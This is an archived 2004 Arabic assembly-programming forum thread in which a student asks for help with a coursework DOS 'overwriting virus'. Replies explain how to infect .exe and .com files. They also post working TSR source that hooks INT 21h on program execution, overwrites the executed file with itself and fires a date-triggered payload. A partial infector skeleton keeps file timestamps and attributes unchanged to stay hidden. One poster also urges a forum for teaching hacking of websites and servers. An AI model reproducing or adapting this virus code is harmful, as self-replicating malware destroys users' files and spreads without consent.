الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

بحث

مغلق
بدأه عرفه في 15 يوليو 2004 · 21 رد · 2,963 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمه الله وبركاته

اخواني الكرماء:

انا طالبه في ماده الاسمبلي والمطلوب مني هو برنامج لاانشاء او تكوين فيروس

تحت اسم : virus project "over writing virus"

يعني القصد هو يكتب فوق اي ملف امتداده exe. او com.

ودلك تبعا للخطوات:

find afile to infect

open afile

write your virus to afile

close afile

exit

طبعا اكيد ان اليرنامج يحتوي علي تعليمات كثيره . اتمني منكم بعد ايفادتي بمعلوماتكم القيمه ان توضحوي لي بعض من التعليمات مثلا:

طبعا الفيروس يكون في حاله خمول فهناك تعليمات لتنفيد الملف الدي يخص الفيروس

وهي ???= ah

int 21h

وايضا تعليمات الاختبار ما ادا كان مقيم في الداكره chik for mem res

لو مقيم stop وان كان ليس مقيم يجعله مقيم

وايصا الخدمه التي تحضر البيانات الخاصه ب dta

??? , nextfunction: cmp ah

وايضا اود معرفه بعد انهاء من الكتابه واردت تنفيد البرنامج بحث لايتاثر جهازي باي ضرر

كيف العمل

"طبعا دكتورنا الفاضل اخبارنا بانه يجب تكوين دليل جديد للامان"

بس انا لا اعرف كيف اكون دليل جديد.

واكون ممتنه لكم كثيره لو ساعدتوني و اضفتوا لي معلوماتي من هدا البحر العميق من المعلومات هده المطاليب وطبعا هدا كله من فضلكم وكرمكم وخبرتكم الهائله والمديده ماشاء الله . وياريت يكون مستعجل شوي لان الموعد التسليم قرب

واتمني من الله العلي القدير ان يجعل دلك من ميزان حسناتكم

وشكرا

njkhjhjkghjk

#2

السلام عليكم,

قبل أن أرى موضوعك قرأت الموضوع التالي :

/index.ph...=0entry211740

وقد أعطيت فيه بعض الأفكار العامة.

وفيما يخص موضوعك فأولا يجب أن نعرف هل نريد البرمجة في عالم الدوس أو الوندوز لأن الأمور تختلف لا سيما في تمركز البرنامج في الذاكرة.

والطريقة في تغيير برنامج exe بفيروس تكون كالتالي :

- نفتح الملف

- نرى إن كنا قد غيرنا هذا الملف من قبل ولهذا الفايروسات يكون لها إمضاء للتأكد من هذا حتى لا نغير الملف عدة المرات. فإذا سبق وأن غيرناه نغادر وفي الحالة الأخرى نزيد في الطريق.

- نبحث عن مكان فارغ داخل الملف أو نزيد فيه فقرة جديدة.

- ننقل الكود الخاص ببرنامجنا إلى هذا المكان الفارغ أو الفقرة الجديدة.

- نقرأ نقطة بداية البرنامج ونقوم بتسجيلها وتغييرها لتشير إلى الكود الجديد الذي أضفناه .

- بعد هذا نتأكد أننا وضعنا في آخر الكود الإشارة إلى نقطة البداية الأصلية وهذا حتى يتم تشغيل البرنامج المستهدف عاديا بعد أن يشتغل الكود الذي أضفناه.

هذه قد تكون الطريقة المتبعة ولكن يجب للقيام بهذا أن نكون نعرف عدة أشياء في البرمجة

وبما أنك ذكرت المقاطعة 21 ففي الدوس أضن أن أسهل طريقة هي تغيير عنوان المقاطعة لنجعلها تشير إلى كود نكون برمجناه . فحين يريد المستعمل أن يفتح أي ملف أو يقوم بأي شيء فيما يخص الملفات هذا يعني أن النضام سيشغل المقاطعة 21 وهنا عوض أن يذهب إلى العنوان الأصلي للمقاطعة سيذهب ألى الكود الخاص بنا وفي هذا الكود نضع ما يلزمنا .

- نتأكد ما نوع العملية التي يريدها المستعمل وذلك بفحص الرجستر AH .

- نقرأ ما نوع الملف - إذا كنا نريد فقط نوعا ما -

- إذا أعجبنا الملف نفتحه ونكتب أو نغير فيه ما نشاء.

- نستدعي عنوان المقاطعة الأصلية ونعمل كأن سيئا لم يكن.

إلى اللقاء.

#3

السلام عليكم

اخي الكريم

طبعا البرمجه عن طريق الدوس

ويكون البرنامج العادي في الاعلي ثم ملاصق فيه برنامج الفيروس

قيكون في الاول ننفدالبرنامج العادي مثلابرنامج يطبع hallo

ثم ننفد برنامح الفيروس و بعدها ننقد البرنامج الدي يطبع hallo فبمجرد عملenter

يرجعdta الدي كان فارغ ممتلئ بالبيانات

وطبعا يتم معرفه ان العمليه نجحت او الفيروس اشتغل ودلك بملاحطه ان حجم الملف ازداد وايضا عند التتبع بعن طريق debug نجد تعليمات الفيروس هي الاولي

وارجوكم ان تساعدوني في اقرب وقت ممكن ارجوكم

وشكرا

#4

السلام عليكم

اخواني انا في انتطار مساعدتكم ومشاركتكم معي

ارجوكم يسرعه لان موعد مناقشه هدا المشروع يوم الخميس القادم

وشكرا

#5

والله يااختي لو عندي فكرة كنت ساعدتك إن شاء الله ابحت في النت وفي المراجع مالتي لو لقيت في اسرع وقت ارسله لكي

#6

السلام عليكم

اخي الكريمtasm

شكرا لك وانا في انتطار مساعدتك بجد

وايضا اين باقي الاعضاء انا في الانتطار

عموما لو كان اي شئ من الدي دكرته بالنسبع للمشروع وليس واضح

اخبروني حتي احاول ان اوضح اكثر

وشكرا

#7

السلام عليكم

اخواني مادا حصل معكم هل تعريفون حل هدا البرنامج ا م لا ام مادا؟

فارجوكم املي الوحيد هو ايجاده لديكم ياريت تفيدوني باسرع وقت لاني والله مستعجله بهدا البرنامج ارجوككم!.

وشكرا

#8

السلام عليكم

اخواني الكرام

انا في امس الحاجه لمساعدتكم ياريت تفيدوني

لو لم تتوصلو ا لحل هدا البرنامج . لو لديكم مواقع خاصه بهدا الجزء او البرمجه

ايفيدوني بها واعطوني اسماء مواقع ارجوكمم

سلامات

#9

السلام عليكم,

الأخ عرفه , كان بودي مساعدتك لو بقى لمشروعك وقت أكبر لأني هذه الأيام في تنقل مستمر ولا أستقر طويل في البيت ولذا لا أجد الوقت الكافي لكتابة أي شيء وحتى قد تغيبت عن المنتدى لبضعة أيام. وربما الأسبوع القادم تنفرج الأمور شئ ما ويمكن أن أجد بعض الوقت. هذا من جهة وإذا استطعت كتابة الكود يمكنني أن أناقش معك الكود الذي كتبت وأستسمح مسبقا لهذه الضروف الخارجة عن إرادتي.

على العموم وكما ذكرت من قبل يمكن أن تكتب قطعة كود تكتب كلمة Hallo مثلا وفي آخر هذا الكود تعمل قفزة لعنوان المقاطعة الأصلية التي تريد تغييرها هذا من جهة ومن جهة أغرى ما غليك سوى تغيير المقاطعة المستهدفة بعنوان الكود الذي كتبت وستلاحظ أنه عندما يستدعي أي برنامج هذه المقاطعة فإنه يستدعي الكود الذي وضعناه أولا وسيكتب لنا كلمة Hallo قبل أن يستمر في عمله.

إلى اللقاء.

#10

السلام عليكم

اخي الكريم جزاك الله خيرا وان شاء الله غيابك هدا خيرا.

بالنسبه لمشروعي المده المقرره له كان الحميس هدا ولكن تاجلت الي يوم

الاربعاء يلي يعده اي الموافق سبعه وعشرون

وياريت يكون بمقدورك مساعدتي في الفربب العاجل واكون ممتنه لك بالشكر والعرفان

وبالنسبه للمشروع خدمته كما اوضحتها سابقا ويتم التنفيد كلما يجد int

سلامات

#11

السلام عليكم,

سأحاول إن شاء الله أن أجد وقتا لهذا .

وإذا تمكنت سأضع الكود هنا إن شاء الله.

إلى اللقاء.

#12

اخي وكما قلت حضرتك يتم دلك بالقفز الي العناوين الاصليه الي int 21

سلام

#13

السلام عليكم

شكرا لحسن تعاونك وان شاء الله يوضع دلك في ميزان حسناتك

انا في الانتطار.!

وشكرا

#14

السلام عليكم ورحمه الله وبركاته

اخواني الكرماء:

الي كل من حاب تقديم يد العون او المساعده:

انا الان تحصلت علي بعض التعليمات او المعلومات حول هدا المشروع وياريت تسعيدوني

في ترتيبها او اكمالها ووضعها في الصوره النهائيه.

بالنسبه للخطوه الاولي -: find afile to infect

-: INPUT

ah,4eh

int 21h

وهي خدمه لايجاد اول تطابق اوتساوي يعني عند البحث

: ds

هما الاثنين seg:offset of the file name <

: dx

يوجد في ds عنوان القطاع للملف الدي نبحث عنه

اما في dx ازاحه الملف

cx :file attribute

- : OUTPUT

cf=0,1

ax=error_code

هنا في حاله وجود خلل او الملف غير موجود cf=1

اما في حال الملف موجود cf=0

يعني تفاصيل المشكله في ax

ولتاكد من ان الملف صحيح يتم عمل التعليمه jc error بعد هد التعليمات:

mov ah,4ch

mov dx,offset f name

mov cx,0

int 21h

(( DTA (( DISK TRANCIFIR ADDRESS

- : DTA

موجوده في بدايه قطاع البر نامج (( PSP ((PROGRAM SEGMENT PRIFX

و PSP موجود في اول 100 بايت لاي ملف انشاء .

وبالنسبه لي DTA PSP جزء من الداكره يحضره نطام DOS ويكون فيه الاتي:

21 بايت محجوزات من 0080H الي 0094H

بايت وحده نحدد فيها موصفات ملف الدي نبحث عنهFILE ALTRIBUTE من 0095H

واثنين بايت لزمن انشاء الملف FILE CREATION TIME من 0096H الي 0097H

واثنين بايت لتاريخ انشاء الملف FILE CREATION DATE من 0098H الي 0099H

واربعه بايت لحجم الملف FILE SIZE من 009AH الي 009DH

و اخيرا ثلاثه عشر بايت لاسم الملفFILE NAME من 009AH الي 009DH

مثال توضيحي : MOV AH,4CH

MOV CX,O

MOV DX,OFFSET FILE_NAME

INT 21H

JC A3

FILE NAME DATA_SEGMENT

بالنسبه للخطوه الثانيه: - -:OPEN FILE

MOV AH,3DH

MOV AL,0C2H

(( MOV DX, OFFSET F_NAME ((9EH

INT 21H

MOV BX,AX

وبالنسبه للخطوه الثالثه : - -: WRITE YOUR VIRUS TO A FILE

MOV AH, 40H

رقم البايت التي نريد طباعتهم في الملف MOV BX,F_HANDLE

MOV CX, NUMBER OF BYTE TO WRITE

OFFSET V_ START *طرح * MOV CX,OFFSET V_ END

مثلا برنامج الفيروس بدايته من الازاحه V_START 0010H

نهايته من الازاحه V_END 0015H

لكي نعلم حجمه ادا النهايه طرح البدايه هنا مثلا حجمه 10-15 ينتج 5 بايت

MOV DX ,OFFSET V_START

INT 21H

وبالنسبه للخطوه الرابعه : - -: CLOSE A FILE

MOV AH,3EH

MOV BX,F_HANDLE

INT 21H

والخطوه الخامسه : - - : EXIT

MOV AH, 4CH

INT 21H

او: INT 20H

فهي تؤدي عمل تعليمات الخروج هنا.

وهناك بعض التعليمات التي لم اتحصل عليها وهي:

طبعا الفيروس في حاله خمول هناك تعليمات لتنفيد ملف الدي يخص الفيروس

؟؟؟ AH

INT 21H

وايضا التعليمه التي تختبر هل مقيم في الداكره ام لا وادا مقيم تخرج وان كان غير مقيم تجعله مقيم

وايضا الخدمه التي تحضر البيانات الخاصه ب DTA

اتمني ان اكون وضحت المطلوب علي اكمل وجه

وكم اتمني منكم مساعدتي في حل هدا المشروع

وشكرا لكم

#15

السلام عليكم ورحمة الله وبركاته...

الاخت عرفه واضح أن البرنامج المطلوب منك يقوم بالكتابه فوق الملف وبالطبع احلال الفيروس محل البرنامج الأساسي وهذا يعني تلف الملف وعدم صلاحيته لتنفيذ وظيفته . وهذا النوع يعتبر أسهلهم حيث أنك لن تحتاجي الى التخفي أو تغيير حجم البرنامج عن حجمه الطبيعي.

ولذا فكل ما تحتاجينه هو عملية البحث عن الملف وفتحه والوقوف بالمؤشر عند مركز الكود ثم نسخ محتويالت الفيروس من الذاكره الى الملف ثم غلق الملف مباشرة والانتقال الى ملف آخر.

ويمكن بدل من البحث عن البرامج أن تنتظريها الى أن تأتي لك في الذاكره عن طريق كتابة فايروس يحمل نفسه في الذاكره و يقوم بعمل هوك على مقاطعه معينه ولتكن 21 مثلا وعند مناداة المقاطعة يعمل الفايروس فيحصل على اسم البرنامج ويصيبه بعد غلقه طبعا.

واليك كود يوضح كيفية عمل هوك على مقاطعه

;   	 بسم الله الرحمن الرحيم
;	ALAZHAR UNIVERSITY
;	FACULTY OF ENGINEERING
;	COMPUTER & SYSTEMS DEPARTMENT
;	ENG / Ahmed Samieh
;  Asm4pic@yahoo.com
;	14 - 2 - 2004
;	TSR.asm	(Terminate and Stay Resident)
;------------------------------------
;	جميع السيجمنت لها نفس القيمه مثل الكود سيجمنت
;	cs = ds = es = ss

.model	tiny
.code
        org     100h  ; نبدأ الكود من هذا المركز ليكون ملف من نوع الكوم
begin:	jmp	start  ; نتخطى البيانات المستخدمه لأنها داخل منطقة الكود ونذهب الى بداية البرنامج

oldint17        dd      ؟	; مكان في الرام نخذن فيه عنوان المقاطعه التي سوف نحل محلها
msg  db	13,10,"...........ALLAH AKBAR..............My TSR Work Good....",13,10,'$'
    ; الرساله التي ستظهر عند نداء المقاطعه المضروبه
fun:    ; الداله التي سوف تعمل بدل عن المقاطعه المضروبه
        push    cs
        pop     ds  ; نحدد داتا سيجمنت لهذه الداله = الكود سيجمنت لها
        lea     dx,msg  ; نأخذ الوفسيت للرساله لنقوم بعملية العرض على الشاشه
        mov     ax,0900h	; دالة الطباعه على الشاشه
        int     21h  ; نفذ الطبع
        jmp     cs:oldint17	; نذهب الى عنوان المقاطعه المضروبه لكي يتم تنفيذها حتى لا تؤثر على عمل البرنامج الذي استدعاها
start:    ; اعداد ال TSR
	mov	ah,35h  ; داله تحصل على عنوان المقاطعه في الذاكره
        mov     al,17h  ; رقم المقاطعه
	int	21h  ; نفذ الحصول على العنوان
        mov     word ptr oldint17,bx; نحفظ عنوان المقاطعه في الذاكره
        mov     word ptr oldint17+2,es ; نحفظ السيجمانت الخاص بها
	mov	ah,25h  ; نغير جدول المقاطعات الى الداله الخصه بنا
        mov     al,17h  ; المقاطعه التي سوف نحل محلها
        mov     dx,offset       cs:fun; عنوان الداله التي سوف تعمل بدل المقاطعه
	int	21h  ; نفذ عملية التغيير
        mov     ax,3100h	; هامه جدا جدا .. نقوم بغلق البرنامج ولكن نبقي الكود في الذاكره ونحميه من التلف 
        mov     dx,offset       start; عنوان نهاية الكود الذي سوف نحفظه طبعا بدأنا من أول البرنامج
	int	21h  ; نفذ عملية الغلق ومن هنا جاء اسم هذه العمليه
	end	begin  ; نهاية الكود

;	طبعا هذا ليس فايروس ولكنه فكرة بقاء البرنامج في الذاكره متخفي ويمكن تنفيذ الفايروس
;	بتغيير الداله من طباعة رساله الى اصابة ملف أو مسح ملف أو تدميره مثلا
;	ولتنفيذ فيروس محترم يمكنك تغيير المقاطعه الى 21 فلا يخلو برنامج منها ويمكن اصابة الملف أو حذفه بعد غلقه مثلا
;----------------------------------------
;	من يريد أن يدخل في عملية تطوير فايروس محترم وذكي فعلا فليراسلني لنتعاون والدعوه لكل العرب فقط
;	وللعلم ليس الهدف من الفيروس هو التخريب ولكن الهدف هو التحايل على الصلاحيات التي يعطيها لك نظام التشغيل 
;	وأيضا للعلم أصعب مهام يقوم بها الفيروس هي التخفي والانتشار وليس التخريب

يقوم البرنامج بعمل هوك على المقاطعه 17 الخاصه بعمليه الطباعه ولتجربة المقاطعه قبل الهوك وبعدها اليك هذا الكود

;	int17.asm
.model	small
.code
	org	100h
start:
	xor	ax,ax
        int     17h    ; فقط ننادي المقاطعه المسكينه فيعمل الفيروس
	mov	ax,4C00h
	int	21h
	end	start

ولبناء فايروس حقيقي قادر على التخفي مطلوب معرفة كيفية كتابة دوال تقوم بالوظائف الآتيه :

1 ) دالة البحث عن ملفات بامتداد معين.

2 ) دالة أخذ خصائص الملف.

3 ) دالة حفظ خصائص الملف بعد التعديل فيه لعدم معرفة أنه تم تغييره.

4 ) دالة فتح ملف للقرائه / وللكتابه .

5 ) دالة القرائه من ملف من مكان معين وبطول معين.

6 ) دالة الكتابه الى ملف في مكان معين وبطول معين.

7 ) دوال الحصول على التاريخ والوقت.

8 ) دالة لمعرف اسم البرنامج الذي يتم تشغيله.

9 ) بعض الخصائص حول ملفات من نوع

exe, com

10) بعض العمليات الخاصه بالتخفي والمراوغه. مثل عملية اكتشاف دوال الديبج والتهرب منها.

11) وأخيرا تجميع كل هذا لبناء فايروس كامل.

أعتقد أن بناء فايروس يشبه بناء روبوت ولكل منهما صعوباته فالأول مشكلته أنه يتعامل مع الحاسب دون أن ترى نتائجه وتكتشف أخطائه ومشاكله مع الغير من برامج مقاومه

ولكن الروبوت مشاكله في تجميع أجزاؤه الميكانيكيه والظروف الخارجيه الغير مضمونه بالمره

وأنا عن نفسي أعشق كل من الروبوت والفيروسات لشدة لكثرة المهارات المتطلبه لتنفيذهما وهما مشتركان في لغة الأسمبلي أيضا.

واليك منها بعض الدوال التي سبق وبدأت في اعدادها ولكن توقفت عنها لانشغالي بعض الشيء

;	Alazhar Univiresty
;	Faqulty of Engineering
;	Ahmed Samieh
; 	 Asm4pic@yahoo.com
;	28 Abril 2004
;	Viruse Code for *.COM files (Under design and building)
;------------------------------------------------------------------------------
.MODEL  SMALL
.CODE
  ORG	100H

START:




;------------------------------- FUNCTIONS ------------------------------------
FIND_FIRST	PROC	NEAR
  MOV	AH,4EH 	 ;Search for the 1st file fun.
  LEA     DX,FILE_INF  ;DX= offset of FILE_INF
  XOR	CX,CX 	 ;ALL FILES 
  INT	21H 	 ;in success c cary =0
  JC	ABORT
  RET
FIND_FIRST	ENDP
;--------------------------------------
FIND_NEXT:
  MOV	AH,4FH 	 ;FINDE NEXT FILE
  LEA	DX,FILE_INF
  INT	21H
  JC	ABORT
  RET
FIND_NEXT	ENDP
;--------------------------------------
OPEN_FILE	PROC	NEAR
  MOV	AH,3DH 	 ;OPEN FILE GET AL BEFORE FUN.
  LEA	DX,DP+FILE_NAME
  MOV	FILE_HNDL,AX
  JC	ABORT
  RET
OPEN_FILE	ENDP
;--------------------------------------
READ_FILE	PROC	NEAR
  MOV	AH,3FH
  MOV	BX,FILE_HNDL
  MOV	CX,BYTES_NUM
  LEA	DX,DP+BUFFER
  JC	ABORT
  RET
READ_FILE	ENDP
;--------------------------------------
MOVE_PTR        PROC    NEAR 	 ;MOVE FILE POINTER
  MOV     AH,42H                  ;setup to move the file
  MOV     BX,FILE_HNDL            ;load the file handle
      ;and the second part
  INT     21H 	 ;move the pointer
  JC	ABORT 	 ;if successful, continue
  RET
MOVE_PTR        ENDP
;--------------------------------------
CLOSE_FILE	PROC	NEAR
  MOV	AX,3EH
  MOV	BX,FILE_HNDL
  RET
CLOSE_FILE	ENDP
;--------------------------------------
SET_DTA  PROC	NEAR
  MOV	AH,1AH
  LEA	DX,DTA
  INT	21H
  RET
SET_DTA  ENDP
;--------------------------------------
SAVE_DTA	PROC	NEAR
  LEA	SI,DTA
  LEA	DI,DTA_BUF
  MOV	CX,43
  CLD
  REB	MOVSB
  RET
SAVE_DTA	ENDP
;--------------------------------------
BACK_UP  PROC	NEAR
  MOV	AX,5701H  ;SET FILE TIME/DATE
  MOV	CX,WORD PTR [BP+F_TIME] ;CX = TIME
  MOV	DX,WORD PTR [BP+F_DATE]	;DX = DATE
  INT	21H 	 ;SAVE NOW

  MOV	AH,3EH 	 ;CLOSE FILE HANDLE
  INT	21H
      ;AFTER THAT SAVE ATTRIBUTES
  MOV	AX,4301H  ;SET FILE ATTEIBUTES
  LEA	DX,[BP+OFFSET DTA + 1EH];FILENAME STILL IN DTA
  XOR	CH,CH
  MOV	CL,BYTE PTR [BP+F_ATTRIB];ATTRIB IN CX
  INT	21H 	 ; DO IT NOW
  RET
BACK_UP  ENDP
;--------------------------------------
GETF_ATTRIB	PROC	NEAR
  MOV	AX,5700H  ;GET FILE TIME/DATE
  INT	21H
  MOV	WORD PTR [BP+F_TIME],CX
  MOV	WORD PTR [BP+F_DATE],DX

  MOV	AX,4300H
  LEA	DX,[BP+OFFSET DTA + 1EH]
  XOR	CH,CH
  INT	21H
  MOV	BYTE PTR [BP+F_ATTRIB]
  RET
GETF_ATTRIB	ENDP
;--------------------------------------
CREATE_FILE	PROC	NEAR
  MOV	AH,3CH
  MOV	CX,00H
  LEA	DX,DP+FILE_NAME
  MOV	FILE_HNDL,AX









FILE_INF	DB	"*.COM",0
COUNTER  DB	0
BYTS_NUM	DB	0
FILE_HNDL	DW	0
BUFFER  DB	10	DUP	(0)	;buffer to store data
DTA    DB	128	DUP	(0)	;buffer to store the DTA
F_TIME  DB	2	DUP	(0)	;BUFFER TO SAVE OLD FILE TIME
F_DATE  DB	2	DUP	(0)	;BUFFER	TO SAVE OLD FILE DATE
F_ATTRIB	DB	0 	 ;BUFFER TO SAVE OLD FILE ATTRIB

END  START

واليك الكتاب الذي تعلمت منه كيفية كتابة الفيروسات والذي كان السبب الأول في تعلمي لغة الأسمبلي.فقبل تعلم الأسمبلي لم أفهم من الكتاب إلا الأحلام فقط ولم أفهم سطر واحد من الكود ومن هنا اتضحت لي أهمية الأسمبلي.

وكم أتمنى لو أجد كتاب كهذا حول برمجة الفيروسات في الويندوز

ملحوظه هامه :

بالنسبه لملفات الكوم ابدأي بكتابة الفيروس على الملف من بدايته مباشرة.

وبالنسبه لملف الإي إكس إي ابدأي من 200h فهو بداية الكود على ما أعتقد

و ان شاء الله خلال يوم أو اثنين أكون جهزت لك كود ينفع بعض الشيء

Virus programming.zip

#16

السلام عليكم,

أعتذر عن هذا التأخير فلقد لقيت شئ من الوقت وكتبت هذا البرنامج بعجالة وهو يغير عنوان المقاطعة 21 وسنضع مكانها عنوان لبرنامج نكتبه وحين تقوم هذه المقاطعة يقوم الكود الذي كتبناه بمعالجة الأمر قبل أن يعطي اليد إلى عنوان المقاطعة الأصلية. في هذا المثال اخترت إغلاق ملف الدالة 3E وحين تستدعى هذه الدالة تقوم المقاطعة الجديدة بكتابة كلمة على الشاشة قبل أن نلجأ إلى المقاطعة الأصلية . وكما سنترك الكود في الذاكرة Resident Memory . واخترت دالة إغلاق الملفات حتى لا تكثر عندنا الكتابة لأن المقاطعة 21 الكل يستدعيها ويمكن أن نغير تلك الدالة إذا أردنا.

والطريقة المتبعة في هذه الأمور هي .

- نقرأ عنوان المقاطعة الأصلية ونسجلها في مكان ما في الذاكرة

- نغير عنوان المقاطعة بالعنوان الذي نريده

- نضع الكود الخاص بهذا ليبقى في الذاكرة باستعمال الدالة 31

لتجربة البرنامج إذا كنا في الوندوز نفتح نافذة دوس ونقوم أولا بتشغيل البرنامج وبعد هذا نقوم بعض العمليات مثل dir أو غيرها وسنلاحض أنه سيعطينا عدة رسائل وتقوم العملية التي كنا نريدها. وفي الوندوز طبعا يجب أن نقوم بكل هذا في نفس نافذة الدوس لأنه إذا فتحنا نافذة دوس أخرى فنعلم أن النضام سيحدث آلة جديدة وكأن في هذه النافذة الجديدة لم نقم بأي شئ من قبل ولهذا يجب تشغيل البرنامج مرة أخرى في النافذة الجديدة.

البرنامج يهنق حين نريد تشغيل برنامج آخر ولم يكن لدي الوقت الكافي لتنقيحه كاملا.

كان بالإمكان أن نزيد مراقبة أخرى لنرى إن كان البرنامج مسبقا في الذاكرة حتى لا نضعه مرة أخرى وقد نقوم بهذا باستعمال المقاطعة 21 واستعمال دالة غير موجودة مثل FF .

على العموم هذا يعطي نظرة عن الموضوع ويمكن تحسين البرنامج ليقوم بأشياء أخرى.

إلى اللقاء.

Int21.zip

#17

السلام عليكم

احواني الكرام انا اقدم لكم خالص شكري وتقديري واسال الله ان يجزيكم خير الجزاء علي حسن تعاونكم.

بالنسبه ليasm4all شكرا علي مجهوداتك ولكن هناك شئ اردت توضيحه انا حسب فهمي من دكتور الماده انه كيف نعلم ان القيروس اشتغل الاعن طريق عند عمل debug فنلاحط انه تعليمات القيروس هي الاولي قبل تعليمات البرنامج وايضا عند مقارنه حجم الملف قبل وبعد التنفيد نجده قد ازداد بسبب تعليمات الفيروس.....

وطبعا ان قي انتطار ردك وايضا الكود ...!

اخي الكريمchik شكرا علي جهودك . ولكن بالنسبه للبرنامج لم يفتح معي؟..

وانا طبعا اردت البرمجه عن طريق الدوس كما قلت سابقا...!!

سلامات. *-)

#18

السلام عليكم ورحمة الله وبركاته...

قمت باعداد كود بسيط لكنه فعال بطريقه جيده(نسبياً كما يقول أينشتاين ) واليك الفايروس يليه التعليق :

;	Alazhar Univiresty
;	Faqulty of Engineering
;	Ahmed Samieh
; 	 Asm4pic@yahoo.com
;	22 - 7 - 2004
;	TSR.asm
;-----------------------------------------
.286
.model	tiny
codseg	segment	para
	assume	cs:codseg,ds:codseg,es:codseg,ss:codseg
        org     100h
Begin:	jmp	start
OldInt21        dd      ?
hFile  dw	?
Len  dw	?
message  db	10,13,".... Happy Birth Day Eng \ Ahmed ......",10,13,'$'
fun:
	pushf
	pusha
	push	ds
NotBD:	cmp	ax,4B00h
	jne	Abort
	mov	ax,3d02h
	int	21h
	push	cs
	pop	ds
	mov	hFile,ax
	mov	dx,offset	cs:Begin
	mov	cx,word ptr Len
	mov	ah,40h
	mov	bx,hFile
	int	21h
	mov	bx,hFile
	mov	ah,3Eh
	int	21h
	mov	dx,70h
	mov	al,07h
	out	dx,al
	inc	dx
	in	al,dx
	cmp	al,11h
	jne	Abort
	dec	dx
	mov	al,08h
	out	dx,al
	inc	dx
	in	al,dx
	cmp	al,10h
	jne	Abort
	mov	ax,0E07h
	int	10h
	lea	dx,byte ptr cs:message
	mov	ax,0900h
	int	21h
Abort:	pop	ds
	popa
	popf
	jmp     cs:OldInt21
start:
	cli
	lea	dx,Begin
	lea	ax,The_End
	sub	ax,dx
	mov	word ptr Len,ax
        push    cs
        pop     ds
	mov	ax,3521h
	int	21h
        mov     word ptr OldInt21,bx
        mov     word ptr OldInt21+2,es
	mov	ax,2521h
        mov     dx,offset       cs:fun
	int	21h
        mov     ax,3100h
        mov     dx,offset       The_End
        sti
	int	21h
The_End:
codseg	ends

الفايروس من نوع TSR وبه فكرة اصابة الملفات التي تبدأ في العمل حيث يأخذ اسم الملف ويقوم بتحريره وينسخ نفسه في بدايته ( دون أي اختبارات ) بعد ذلك يغلق الملف ويقوم بتشغيله

بالطبع البرنامج قد تلف وسيقوم بتشغيل الفايروس مره اخرى الذي بدوره سيقوم بعملية الهوك مره اخرى ( لا يقوم الفايروس باختبار اذا كان موجود في الذاكره أم لا).

وبالنسبه للحظة التدمير فما هي الا عملية اختبار للتاريخ واذا وافق التاريخ تاريخ ميلادي فان الكمبيوتر يهنيني رغم أنف صاحب الكمبيوتر.

واحب أن اعلق : كل ما هو داخل الاقواس هو محل للنقاش ففكرة اختبار الفايروس لتواجده في الذاكره لا أعرف لها حل قياسي. وفكرة اختبار الفايروس للملف الذي يريد اصابته تتضمن اختبار نوعه EXE أو COM للتعامل معه وهذه محلوله.

أيضا أن نقوم بنسخ الفايروس الى الملف دون اتلاف وظيفته لكي يعمل طبيعي ونجعل المستخدم يقوم بتشغيله بصوره اعتياديه ليصيب باقي الملفات فيما بعد.

وكما نرى فلو كنا في عام 90 مثلا أي في عصر الدوس - ومع بعض الحماس و المجازفه لكنا أصبحنا خطرين على الأمن القومي ( كما تقول المجلات) ولكن الحمد لله فلولا أننا في 2004 ما كنت أستطيع أن أحصل على معلومه واحده أو درس واحد من هذه الدروس.

وأخيرا وليس آخرا احب أن أكرر أني أرغب في العمل مع فريق لتعلم كيفية بناء فايروس للويندز يوضح ما نفهمه حول هذا النظام.

وكم سرني أن وجدت اقتراح من أحد الأعضاء لطرح منتدي لتعليم كيفية التصدي للفايروسات والهاك . ولكن يسعدني أكثر لو يتم طرح منتدي لتعليم الفايروسات والهاك وخاصة المواقع والسيرفارات .

فيكفي أن نعلم أن الغالبيه العظمي من طلاب الحاسبات في اسرائيل يجيدون برمجة الفايروسات . ومن ناحية الهاكر فلا يخفي على الجميع الهاكرز الاسرائيليون وما يفعلوه بالمواقع العربيه النافعه للمسلمين.

هذا وبالله التوفيق.

أحمد

مصر

#19

السلام عليكم,

لقد عاودت تجربة البرنامج وهو شغال ولا أعرف المشكلة اللي عندك.

كما قلت البرنامج يشتغل في الدوس طبعا ويمكن أيضا أن نشغله في نافذة الدوس في الوندوز.

إلى اللقاء.

#20

السلام عليكم

اخي: asm4all

اولا شكرا علي البرنامج ولكن هناك اشياء عده لم افهمها وهي غير مطلوبه

لدي بعض التعليمات مازلت اجهلها وهي /

خدمه تنفيد الملفات وهي التي تحضر في dta

disk transfer address

والتعليمات اليتي تجعلني اختبر برنامجي *فيروس* هل هو مقيم في الداكره ام لا فادا مقيم مادا اعمل وادا لا مادا اعمل يعني ماهي التعليمات التي تجعله مقيم في الداكره اي check for my progrregidenc or no

اي ماهي التعليمات التي تجعلني اعرف انه مقيم في الداكره ام لا فقط.

ولو سمحت ياريت ان توضح لي خطوات تنفيد البرنامج خطوه بخطوه حتي اتاكد منها مع التوضيح كل خدمه مادا تفعل وما وضيفتها

مع العلم ان الدي يقوم به هدا الفيروس هو انه يكتب نفسه اي يقوم بالصاق نفسه في نهايه الملف الموجوده.

واتاسف جدا جدا علي الازعاج

ولكم مني خالص الشكر والتقدير علي روحكم الطيبه وحسن تعاونكم

وبالنسبه للاخ الكريم chik

البرنامج لم يقتح معي ايدا ولكن ان اردت ان اقدم لك جزيل الشكر والعرفان

وانا في انتطار ردودكم وباريت في العاجل جدا...!

سلام..

#21

السلام عليكم ورحمة الله وبركاته..

الأخت : عرفه

البرنامج الثاني لا يختلف كثيرا عن البرنامج الأول ولكن كل ما في الأمر غيرت المقاطعه الى 21 وطبعا هذه المقاطعه تنفذ دوال كثيره فاخترت دالة تنفيذ البرامج ويتم اختبارها عند استدعاء الفايروس ( الداله fun )

الداله الخاصه بتشغيل البرامج هي

mov	ax,4B00h
int	21h

وبمراجعة الباراميترات التي تأخذها هذه الداله نجد أن اسم الملف المراد تشغيله يشار اليه DS:DX فاذا تم استدعاء هذه الداله فيمكننا الحصول على اسم الملف ومكانه قبل تشغيله ولهذا يمكننا تحريره واضافة الفايروس اليه ثم غلقه ثم تشغيله ليعمل طبيعي.

وتم تحرير الملف باللداله

mov	ax,3d02h
int	21h

واليك الفايروس بعد تعديله ليختبر وجوده في الذاكره ومعه بعض الشرح .

بالنسبه لل DTA فقد وضعت داله للتعامل معها في المشاركه الاولى

